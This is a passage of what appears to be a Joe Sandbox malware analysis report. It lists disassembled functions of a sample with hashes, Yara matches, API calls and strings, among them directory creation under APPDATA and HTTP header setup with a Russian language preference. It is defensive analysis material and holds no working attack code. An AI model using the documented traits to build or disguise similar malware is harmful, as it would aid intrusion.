Opcode ID: bed945026c03525ca9e6f99888b728c839f34034abb34f6e91111b4f97e8ed69
Instruction ID: cacb134cf45b6d3893a07543428c3496bc224f7c3d1c732b13d01dd1be495d2a
Opcode Fuzzy Hash: bed945026c03525ca9e6f99888b728c839f34034abb34f6e91111b4f97e8ed69
Instruction Fuzzy Hash: DF323631E29F015DD7239A35D922336A649AFB73C4F56C737E815B5AA9EF28C4C34108

Function 00858765 Relevance: .2, Instructions: 177COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2664793231.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27512dbce1650f601bfde0bd3ac02a87376571871174a8795c6e92a9a7318f2f
Instruction ID: d782e627636888b5d5938eb6138e05322512689bd1f9967ea0fc358326f82f81
Opcode Fuzzy Hash: 27512dbce1650f601bfde0bd3ac02a87376571871174a8795c6e92a9a7318f2f
Instruction Fuzzy Hash: 555146F3E441245BF714587CEC857A7BA86DBA0721F2B8239DE88E37C8E9799C0542C5

Function 00928855 Relevance: .1, Instructions: 141COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2664793231.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f37081e5ee5b0e039eb84a9388bcaeb1d3ae7f1f7a2866ba1a37ac6b9b3adc1
Instruction ID: 9e4cf423ff0fb0e11b1c85d7e5476e16daae5e93f598f53a586615380da8f62c
Opcode Fuzzy Hash: 4f37081e5ee5b0e039eb84a9388bcaeb1d3ae7f1f7a2866ba1a37ac6b9b3adc1
Instruction Fuzzy Hash: 7E412BF3A096045BE3016E2DDCC576AF7EBEFE8210F16853DD6C483744E53999118683

Function 009520A0 Relevance: .1, Instructions: 132COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2664793231.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30c76e4f955a0499a0f2ce11d26ce083e97331fa1b404c0c2d497b9578b1f430
Instruction ID: b88c27c4d5ac9a85e5619c0eab5b354373690314a65aa24db500e427918551d8
Opcode Fuzzy Hash: 30c76e4f955a0499a0f2ce11d26ce083e97331fa1b404c0c2d497b9578b1f430
Instruction Fuzzy Hash: FA316EF3618210ABE314992CEC457B7B7D9DB94330F2A863AFA94D73C0E97A9C0142D5

Function 0040B690 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2664608279.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: b545b07da7e7745530abcd8f67b80a540579b97e0dd86f1b90800f2e494ad7bb
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: F1115B7720004243D604862DCDF45BBA395EBC5320B2C477BD0516BBD4D33BD841968D

Function 100102A0 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2667782007.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2667767061.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2667799628.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2667814596.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 6858cf0c51ff5caabfc3a7f957f7e97cc4d55c404d013567cdc706fa4bfc5bf2
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 5111087774118243D681C56DC4F86ABA3DEFBC52A0729436AF0D28FA58D2F2DAC5A600

Function 04D1B8F7 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2667150208.0000000004D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d10000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: f9b11c790c2a1a97a5dcc602ce95084896945f3579cb3a7f957fbe18259fc94a
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: D511C4B734004267D6548A7DF4B42B6E795FBC7320B2D42BBD8814B77AD222F1479600

Function 00F4C9DB Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2665403133.0000000000F4C000.00000040.00000020.00020000.00000000.sdmp, Offset: 00F4C000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f4c000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: d4c61e27c7d1b93ddcd5993caf1c50a019aef958f4b98cf7b0d5f07853c263a2
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: 1411CE72340104AFD780CF59DC91FA277EAEB8D360B298065ED04CB306E679EC41D7A0

Function 00825CD4 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2664793231.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b663b192dbb2d4db85527ab8893cc70c191c2ab14a8f829bd4d76fa4f67c849f
Instruction ID: 9824168095b6cfc6bea71523f0b9a63ac59dd53474e69655a7cfcad24cc3ccb4
Opcode Fuzzy Hash: b663b192dbb2d4db85527ab8893cc70c191c2ab14a8f829bd4d76fa4f67c849f
Instruction Fuzzy Hash: F2F06DB658857E6DAA06CE44BA186FF7768F9C1730770843AF802C7911D2B14E85AA74

Function 04D10D90 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2667150208.0000000004D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d10000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction ID: c8289f9c297052bd3db4e64cfb9c3a6695d1bb689d24504931a86c199d93d02e
Opcode Fuzzy Hash: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction Fuzzy Hash: 1801F7727006009FDF22DF60E844BAA33E5FB86215F0584A4ED0A97A95E370B8818B80

Function 10007A76 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2667782007.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2667767061.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2667799628.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2667814596.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 225e9490ce15994035050fff8e8d94bbe50aeb352c3921d505d22bbc77bda227
Instruction ID: 49573a245b17cd2143a7f0a663dc82b9d5ba07e6c12e429f55ccbb336c262c76
Opcode Fuzzy Hash: 225e9490ce15994035050fff8e8d94bbe50aeb352c3921d505d22bbc77bda227
Instruction Fuzzy Hash: CEE08C32E11228EBCB10CB88C940E8AB3ECFB86A80F114096B505E3101D274DF00C7C2

Function 00409B9D Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(0042D064,00000FA0,?,?,00409B7B), ref: 00409BA9
GetModuleHandleW.KERNEL32(api-ms-win-core-synch-l1-2-0.dll,?,?,00409B7B), ref: 00409BB4
GetModuleHandleW.KERNEL32(kernel32.dll,?,?,00409B7B), ref: 00409BC5
GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 00409BD7
GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 00409BE5
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,?,00409B7B), ref: 00409C08
DeleteCriticalSection.KERNEL32(0042D064,00000007,?,?,00409B7B), ref: 00409C24
CloseHandle.KERNEL32(00000000,?,?,00409B7B), ref: 00409C34

Strings

WakeAllConditionVariable, xrefs: 00409BDD
SleepConditionVariableCS, xrefs: 00409BD1
api-ms-win-core-synch-l1-2-0.dll, xrefs: 00409BAF
kernel32.dll, xrefs: 00409BC0

Memory Dump Source

Source File: 00000000.00000002.2664608279.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Handle$AddressCriticalModuleProcSection$CloseCountCreateDeleteEventInitializeSpin
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 2565136772-3242537097
Opcode ID: 4fb7e18995e5e2f02b724b68456555f771a33f70ab985dbad30083c91c8ea3bd
Instruction ID: 37dafa969150eeb09f2d68ad9d46abae469e8d92b579355ddc2ecf38041403ba
Opcode Fuzzy Hash: 4fb7e18995e5e2f02b724b68456555f771a33f70ab985dbad30083c91c8ea3bd
Instruction Fuzzy Hash: 4B017531F44721BBE7205BB4BC09F563AE8AB48715F544032F905E22A2DB78CC078A6C

Function 10001CDD Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 156COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 10001CE7
SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?,00000264,1000202E,?), ref: 10001D2D
CreateDirectoryA.KERNEL32(?,00000000,?,?,00000000,?,?,00000001,00000000), ref: 10001DE9
GetLastError.KERNEL32(?,?,00000001,00000000), ref: 10001DF9
GetTempPathA.KERNEL32(00000104,?,?,?,00000001,00000000), ref: 10001E12
CreateDirectoryA.KERNEL32(?,00000000,?,?,00000000,?,?,00000001,00000000,?,?,00000001,00000000), ref: 10001ECC
GetLastError.KERNEL32(?,?,00000001,00000000,?,?,00000001,00000000), ref: 10001ED2

Strings

TMPDIR, xrefs: 10001E24
APPDATA, xrefs: 10001D3F

Memory Dump Source

Source File: 00000000.00000002.2667782007.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2667767061.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2667799628.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2667814596.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: CreateDirectoryErrorLastPath$FolderH_prolog3_Temp
String ID: APPDATA$TMPDIR
API String ID: 1838500112-4048745339
Opcode ID: 00851e4ded4e5e03db144df6c0333d2f877147d47fd9b3b0a9c51e3763c74205
Instruction ID: 65cc4f0b8c34a884811309b14049f09b1d2f67be4c4777eb46c939f585e6cab7
Opcode Fuzzy Hash: 00851e4ded4e5e03db144df6c0333d2f877147d47fd9b3b0a9c51e3763c74205
Instruction Fuzzy Hash: 6B515E70900259EAFB64EBA4CC89BDDB7B9EF04380F5005E9E109A6055DB74AFC4CF61

Function 100010C7 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 55networkCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 100010CE
HttpAddRequestHeadersA.WININET(?,?,?,20000000), ref: 10001103
HttpAddRequestHeadersA.WININET(?,?,?,20000000), ref: 10001123
HttpAddRequestHeadersA.WININET(?,?,?,20000000), ref: 10001143
HttpAddRequestHeadersA.WININET(?,?,?,20000000), ref: 10001163

Strings

Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1, xrefs: 10001125
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0, xrefs: 10001145
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1, xrefs: 100010D9
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8, xrefs: 10001105

Memory Dump Source

Source File: 00000000.00000002.2667782007.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2667767061.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2667799628.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2667814596.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: HeadersHttpRequest$H_prolog3_
String ID: Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1$Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0$Accept-Language: ru-RU,ru;q=0.9,en;q=0.8$Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
API String ID: 1254599795-787135837
Opcode ID: 8d3d7825b2bb6dea36e27622bcd4b7ddfc44603214986a735072bca3a8471053
Instruction ID: 505ec4d7c45309835e960384523a5e30396a54de81b8e769e2ad7823f420ed9d
Opcode Fuzzy Hash: 8d3d7825b2bb6dea36e27622bcd4b7ddfc44603214986a735072bca3a8471053
Instruction Fuzzy Hash: DA119372D0010DEEEB10DBA9DC91DEEBB78EB18351FA0C019F22176051DB75AA45DBB1

Function 0041C38F Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 147COMMONLIBRARYCODE

Download Yara Rule

APIs

DecodePointer.KERNEL32(?,?,?,?,?,?,?,?,?,0041CE8F), ref: 0041C3A8

Strings

exp, xrefs: 0041C427, 0041C48C
sqrt, xrefs: 0041C4E7
log, xrefs: 0041C405, 0041C414
acos, xrefs: 0041C4DE
asin, xrefs: 0041C4D5
pow, xrefs: 0041C446, 0041C4F0, 0041C53D
log10, xrefs: 0041C3EA, 0041C3F9

Memory Dump Source

Source File: 00000000.00000002.2664608279.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: DecodePointer
String ID: acos$asin$exp$log$log10$pow$sqrt
API String ID: 3527080286-3064271455
Opcode ID: 05187ea62b41d2bf9bc39929cbb8bd1b88e738aa0c5724388b28886b27f4fa98
Instruction ID: c807006a3b6ff10d3a002f023a5ec1143af0d4f8941b6a10615b45774aafcbb0
Opcode Fuzzy Hash: 05187ea62b41d2bf9bc39929cbb8bd1b88e738aa0c5724388b28886b27f4fa98
Instruction Fuzzy Hash: A751CC7098422AEBCB108F98ED9C5FE7F71FB05304F908057D480A6664C7BC99A6CB5D

Function 0040BCBB Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 0040BDDA
___TypeMatch.LIBVCRUNTIME ref: 0040BEE8
_UnwindNestedFrames.LIBCMT ref: 0040C03A
CallUnexpected.LIBVCRUNTIME ref: 0040C055

Strings

csm, xrefs: 0040BCF8
csm, xrefs: 0040BD65
csm, xrefs: 0040BE11

Memory Dump Source

Source File: 00000000.00000002.2664608279.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2751267872-393685449
Opcode ID: d9d1dd97a28ed08d243fefd6e212ea817b405283f267b0edc229452d693e4b60
Instruction ID: 526bd2c442181307887733989819878d768e136a746cf2eec307868f2bd45ee9
Opcode Fuzzy Hash: d9d1dd97a28ed08d243fefd6e212ea817b405283f267b0edc229452d693e4b60
Instruction Fuzzy Hash: EEB1477180020AEBCF25DFA5C8819AEBBB5EF04314B14416BE815BB292D738DA51CFDD

Function 10004131 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 10004250
___TypeMatch.LIBVCRUNTIME ref: 1000435E
_UnwindNestedFrames.LIBCMT ref: 100044B0
CallUnexpected.LIBVCRUNTIME ref: 100044CB

Strings

csm, xrefs: 1000416E
csm, xrefs: 10004287
csm, xrefs: 100041DB

Memory Dump Source

Source File: 00000000.00000002.2667782007.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2667767061.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2667799628.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2667814596.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2751267872-393685449
Opcode ID: c4421cf047d38b61ed069ce13853ee51e8b724bc32a0b317f19ee854d316b146
Instruction ID: 3d3d7b973083d5502e03e9704e538657a8ad6664bd6ca03923258a49de60437f
Opcode Fuzzy Hash: c4421cf047d38b61ed069ce13853ee51e8b724bc32a0b317f19ee854d316b146
Instruction Fuzzy Hash: C0B180B5C00209DFEF05DF94D881A9EBBB9FF04390F12415AF8116B21ADB31EA51CB99

Function 04D1BF22 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 04D1C041
___TypeMatch.LIBVCRUNTIME ref: 04D1C14F
_UnwindNestedFrames.LIBCMT ref: 04D1C2A1
CallUnexpected.LIBVCRUNTIME ref: 04D1C2BC

Strings

csm, xrefs: 04D1C078
csm, xrefs: 04D1BFCC
csm, xrefs: 04D1BF5F

Memory Dump Source

Source File: 00000000.00000002.2667150208.0000000004D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d10000_file.jbxd

Yara matches

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2751267872-393685449
Opcode ID: d9d1dd97a28ed08d243fefd6e212ea817b405283f267b0edc229452d693e4b60
Instruction ID: fe37b52a138c66234dc58c2c57dbf8adf4859d91f14cd3f7c3d2d3cce7683f58
Opcode Fuzzy Hash: d9d1dd97a28ed08d243fefd6e212ea817b405283f267b0edc229452d693e4b60
Instruction Fuzzy Hash: 91B18672A50219FFDF14DFA4E9809AEBBB4FF04B18B10405AEC116B221D335FA51CBA1

Function 04D19E04 Relevance: 12.1, APIs: 8, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(0042D064,00000FA0,?,?,04D19DE2), ref: 04D19E10
GetModuleHandleW.KERNEL32(0041FFC8,?,?,04D19DE2), ref: 04D19E1B
GetModuleHandleW.KERNEL32(0042000C,?,?,04D19DE2), ref: 04D19E2C
GetProcAddress.KERNEL32(00000000,00420028), ref: 04D19E3E
GetProcAddress.KERNEL32(00000000,00420044), ref: 04D19E4C
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,?,04D19DE2), ref: 04D19E6F
RtlDeleteCriticalSection.NTDLL(0042D064), ref: 04D19E8B
CloseHandle.KERNEL32(0042D060,?,?,04D19DE2), ref: 04D19E9B

Memory Dump Source

Source File: 00000000.00000002.2667150208.0000000004D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d10000_file.jbxd

Yara matches

Similarity

API ID: Handle$AddressCriticalModuleProcSection$CloseCountCreateDeleteEventInitializeSpin
String ID:
API String ID: 2565136772-0
Opcode ID: 4fb7e18995e5e2f02b724b68456555f771a33f70ab985dbad30083c91c8ea3bd
Instruction ID: 22f845b40643fe4987b5c43ccdb103c582b95a821cf866f0fb35c0adbdb04758
Opcode Fuzzy Hash: 4fb7e18995e5e2f02b724b68456555f771a33f70ab985dbad30083c91c8ea3bd
Instruction Fuzzy Hash: 1F0192B1B41711BBD7201BB0FC18B973AE8BB48B05F504072BD04E2171DB64D806CA69

Function 00413DCC Relevance: 10.8, APIs: 7, Instructions: 329COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00413E52

Memory Dump Source

Source File: 00000000.00000002.2664608279.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: bf0b0920984447c06244afe43fd9d6a0130e4e86955e3e91be41bedb8128cd91
Instruction ID: 4a21b80fcc43a582202c6f7144ab3ce64f52356938c116e7343db5097d41ee6d
Opcode Fuzzy Hash: bf0b0920984447c06244afe43fd9d6a0130e4e86955e3e91be41bedb8128cd91
Instruction Fuzzy Hash: 57B13672E003559FDB118F65CC81BEF7FA5EF59310F14416BE904AB382D2789A82C7A8

Function 04D24033 Relevance: 10.8, APIs: 7, Instructions: 329COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 04D240B9

Memory Dump Source

Source File: 00000000.00000002.2667150208.0000000004D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d10000_file.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 40243c521aab70af30abc9ec0642881d9f494199df659fe1a780e76705c17a36
Instruction ID: e94a75514e73eab33028307fda844cb67d2109773b40d29a2a6e5659016f818a
Opcode Fuzzy Hash: 40243c521aab70af30abc9ec0642881d9f494199df659fe1a780e76705c17a36
Instruction Fuzzy Hash: 05B15372A00275AFEB12CF68CE81BAE7BA5FF65318F144155ED44AB281D274F901CBA0

Function 100028D6 Relevance: 10.6, APIs: 7, Instructions: 136COMMONLIBRARYCODE

Download Yara Rule

APIs

__RTC_Initialize.LIBCMT ref: 1000291D
___scrt_uninitialize_crt.LIBCMT ref: 10002937

Memory Dump Source

Source File: 00000000.00000002.2667782007.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2667767061.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2667799628.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2667814596.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: Initialize___scrt_uninitialize_crt
String ID:
API String ID: 2442719207-0
Opcode ID: bcaf1c042ea0bc50edbc81b8ebd31fe72f9a2e1de53f2412ad321d30f710d584
Instruction ID: 04769ff959a67eddfc0a91c70c155494b73e6b711ec1a15a155288148215b0b0
Opcode Fuzzy Hash: bcaf1c042ea0bc50edbc81b8ebd31fe72f9a2e1de53f2412ad321d30f710d584
Instruction Fuzzy Hash: 3741F372E05229AFFB21CF68CC41BAF7BA4EB846D0F114119F84467258DB309E419BA1

Function 0040B7C0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 0040B7F7
___except_validate_context_record.LIBVCRUNTIME ref: 0040B7FF
_ValidateLocalCookies.LIBCMT ref: 0040B888
__IsNonwritableInCurrentImage.LIBCMT ref: 0040B8B3
_ValidateLocalCookies.LIBCMT ref: 0040B908

Strings

csm, xrefs: 0040B89D

Memory Dump Source

Source File: 00000000.00000002.2664608279.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 5641a44dda4cb41aef4b567e19f678f9a0ce6225873a8c2651de762a4506a773
Instruction ID: 0a5d0bd6c222bbdd43f8b319fa79a96d429a9708f3c046b0ae0cbd11a01f7e51
Opcode Fuzzy Hash: 5641a44dda4cb41aef4b567e19f678f9a0ce6225873a8c2651de762a4506a773
Instruction Fuzzy Hash: 11418535A00219DBCF10EF69C885A9EBBA5EF44318F14C17AE8147B3E2D7399905CBD9

Function 10003A20 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 10003A57
___except_validate_context_record.LIBVCRUNTIME ref: 10003A5F
_ValidateLocalCookies.LIBCMT ref: 10003AE8
__IsNonwritableInCurrentImage.LIBCMT ref: 10003B13
_ValidateLocalCookies.LIBCMT ref: 10003B68

Strings

csm, xrefs: 10003AFD

Memory Dump Source

Source File: 00000000.00000002.2667782007.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2667767061.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2667799628.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2667814596.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 618cc4b1c9e8ab126c58b9dfa5104022869f7905af091c597ce0ca7ba0b792b2
Instruction ID: 53213870faae5245fec6ed73a44d54790f208d332314260de239e107b7581961
Opcode Fuzzy Hash: 618cc4b1c9e8ab126c58b9dfa5104022869f7905af091c597ce0ca7ba0b792b2
Instruction Fuzzy Hash: 2A41E434A002189FDF02CF68C881A9FBBF9EF453A8F11C065E9149B356C771EA15CB91

Function 100072FC Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

Strings

ext-ms-, xrefs: 10007367
api-ms-, xrefs: 10007353

Memory Dump Source

Source File: 00000000.00000002.2667782007.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2667767061.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2667799628.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2667814596.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID:
String ID: api-ms-$ext-ms-
API String ID: 0-537541572
Opcode ID: cde85c6b5c8b57cdf34b7df1744eca22314f2c72a21997f039bbb8b7806936d4
Instruction ID: 4a8ea71034e84b8525c0961ad639e20c08c2bf99947945f029ec6b94e21b7784
Opcode Fuzzy Hash: cde85c6b5c8b57cdf34b7df1744eca22314f2c72a21997f039bbb8b7806936d4
Instruction Fuzzy Hash: DC219671E01321EBF722DB648C81A4E37A4FB456E0B214124ED59A7195D778EE00A6E1

Function 00413339 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00413448,00403597,?,00000000,00402809,0040280B,?,004135C1,00000022,FlsSetValue,00422950,00422958,00402809), ref: 004133FA

Strings

ext-ms-, xrefs: 004133A4
api-ms-, xrefs: 00413390

Memory Dump Source

Source File: 00000000.00000002.2664608279.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: FreeLibrary
